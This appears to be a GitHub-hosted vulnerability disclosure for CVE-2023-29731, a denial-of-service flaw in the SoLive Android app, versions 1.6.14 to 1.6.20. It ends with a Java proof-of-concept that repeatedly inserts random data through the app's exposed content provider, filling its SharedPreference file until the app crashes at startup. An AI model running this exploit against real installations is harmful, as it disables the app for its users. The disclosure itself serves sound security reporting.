Headline
CVE-2023-29731: SO-CVEs/CVE detail.md at main · LianKee/SO-CVEs
SoLive 1.6.14 thru 1.6.20 for Android has an exposed component that provides a method to modify the SharedPreference file. An attacker can leverage this method to inject a large amount of data into any SharedPreference file, which will be loaded into memory when the application is opened. When an attacker injects too much data, the application will trigger an OOM error and crash at startup, resulting in a persistent denial of service.
Denial of Service exists in SoLive（CVE-2023-29731）
Vendor：SoLive App(https://so-live.web.app/)
Affected product：SoLive(com.matchtech.solive)
Version：1.6.14,1.6.20
Download link：https://play.google.com/store/apps/details?id=com.matchtech.solive&hl=en_US&gl=US
Description of the vulnerability for use in the CVE：SoLive 1.6.14 thru 1.6.20 for Android has an exposed component that provides a method to modify the SharedPreference file. An attacker can leverage this method to inject a large amount of data into any SharedPreference file, which will be loaded into memory when the application is opened. When an attacker injects too much data, the application will trigger an OOM error and crash at startup, resulting in a persistent denial of service.
poc：
public void attack(){ ContentResolver contentResolver = this.getApplicationContext().getContentResolver(); String randomString =getRandomString(512); Uri uri = Uri.parse(“content://com.matchtech.solive.TTMultiProvider/t_sp/contain/” + “zztest” + “?sp_file_name=adjust_preferences”); while (true) { ContentValues contentValues = new ContentValues(); contentValues.put(randomString,randomString); contentResolver.insert(uri,contentValues); } }